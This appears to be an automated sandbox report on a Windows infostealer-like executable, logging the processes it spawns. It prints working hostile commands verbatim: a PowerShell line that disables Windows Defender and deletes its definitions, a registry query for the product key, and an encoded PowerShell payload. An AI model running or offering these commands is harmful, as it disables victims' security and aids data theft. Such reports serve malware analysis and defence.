Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe

Code function: 70_2_00007FF6AA1CB340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

70_2_00007FF6AA1CB340

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe

Code function: 0_2_00007FF78DA795E0 cpuid

0_2_00007FF78DA795E0

Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\libssl-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\python311.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\rarreg.key VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\sqlite3.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\Desktop\9g9LZNE4bH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI61762\base_library.zip VolumeInformation	Jump to behavior
